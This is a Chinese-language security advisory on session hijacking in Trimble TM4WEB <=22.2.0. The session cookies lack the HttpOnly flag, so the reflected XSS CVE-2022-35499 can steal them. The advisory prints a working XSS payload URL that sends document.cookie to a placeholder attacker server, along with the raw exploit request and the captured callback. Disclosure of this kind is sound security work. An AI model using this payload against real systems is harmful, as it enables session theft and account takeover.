
在 Trimble 的 TM4WEB <=22.2.0 中,由于会话标识符的安全配置错误,攻击者可能通过影响外部文档查看器端点的反射型跨站脚本恢复有效的会话 Cookie。
具体而言,用于维持会话的三个 Cookie 分别是 UID、rstring 和 PHPSESSIONID,它们均未设置适当的 HttpOnly 标志,因而无法防止通过 JavaScript 执行向量恢复 Cookie。
步骤 1 :
攻击者利用反射型跨站脚本漏洞 CVE-2022-35499 获取已认证受害者的会话 Cookie。
攻击者会在面向互联网且可接收 HTTP 请求的服务器上的任意端口启动一个监听器。这可以通过诸如 requestbin 之类的服务实现,也可以直接在任意端口启动一个 netcat 监听器。
该示例 URL 利用引用的 XSS CVE-2022-35499 对已认证用户执行会话劫持攻击,并将受害者的会话 Cookie 发送到攻击者控制的服务器
(在示例中以 x.x.x.x 代替我们的 IP 地址),端口为 13337
使用不存在站点的示例恶意 URL:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
此漏洞之所以可能发生,是因为会话标识符未对此类攻击进行充分防护。
用于维持会话的三个 Cookie 为 :
UID
rstring
PHPSESSID
这些 Cookie 均未配置 标志。此配置选项可防止 Cookie 值从 JavaScript 上下文被访问。
HttpOnly同样,这些 Cookie 还应启用 SECURE 标志,以防止它们通过未加密的通道进行传输。
用于执行攻击的恶意 GET 请求如下所示,其中攻击者服务器 IP 已省略,并替换为 x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
攻击者在其服务器上接收到的回调请求如下所示,其中受害者的会话 Cookie 被附加到 ?c 参数中。
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
影响 : 已认证用户的会话和用户账户可能会被攻击者利用反射型 XSS 漏洞从未经认证的攻击位置劫持。